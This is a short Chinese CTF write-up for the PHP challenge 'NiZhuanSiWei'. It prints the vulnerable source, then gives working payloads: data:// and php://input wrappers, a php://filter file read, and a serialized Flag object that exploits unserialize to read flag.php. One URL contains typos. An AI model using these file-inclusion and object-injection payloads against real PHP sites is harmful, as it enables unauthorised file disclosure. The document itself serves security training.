NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  • if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

    $text可以用php://input协议读取POST提交的原始数据内容(也可以用data伪协议传参

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

url/?text=php://input然后post提交welcome to the zjctf,绕过第一层

  • include($file); //useless.php

    $file提示useless.php,直接赋值useless.php是没有返回的,这里用phhp://filter伪协议编码后读取

url/?text=php://input?file=php://filter/read=convert.base64-encode/resource=useless.php

获得的内容base64解码

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
  • $password = unserialize($password);

    建立Flag类,对其中的file赋值为flag.php,然后获得序列化字符串赋值给passwordpassword反序列化后获得Flag类,echo的时侯调用tostring魔术方法将flag.php输出。

    但是要注意,在的一个php文件中并没有自动包含Flag类,所以需要给file赋值为useless.php来包含进Flag类。

payload:/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}